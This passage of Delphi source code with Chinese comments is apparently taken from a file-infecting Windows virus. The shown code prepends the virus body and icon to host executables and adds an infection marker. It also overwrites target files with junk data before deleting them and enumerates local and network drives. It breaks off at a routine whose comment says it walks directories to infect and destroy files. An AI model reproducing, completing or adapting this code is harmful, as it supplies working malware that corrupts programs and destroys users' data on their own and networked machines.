据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文件
      DstStream.Free;
    end;
  except;
  end;
end;

{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只读属性
    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
    try
      Size := GetFileSize(FileHandle, nil); //文件大小
      i := 0;
      Randomize;
      Max := Random(15); //写入垃圾码的随机次数
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每个间隔块的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入垃圾码，将文件彻底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //关闭文件
    end;
    DeleteFile(PChar(FileName)); //删除之
  except
  end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍历26个字母
  begin
    D := Chr(i + 65);
    Str := D + '':'';
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁盘和网络盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Inte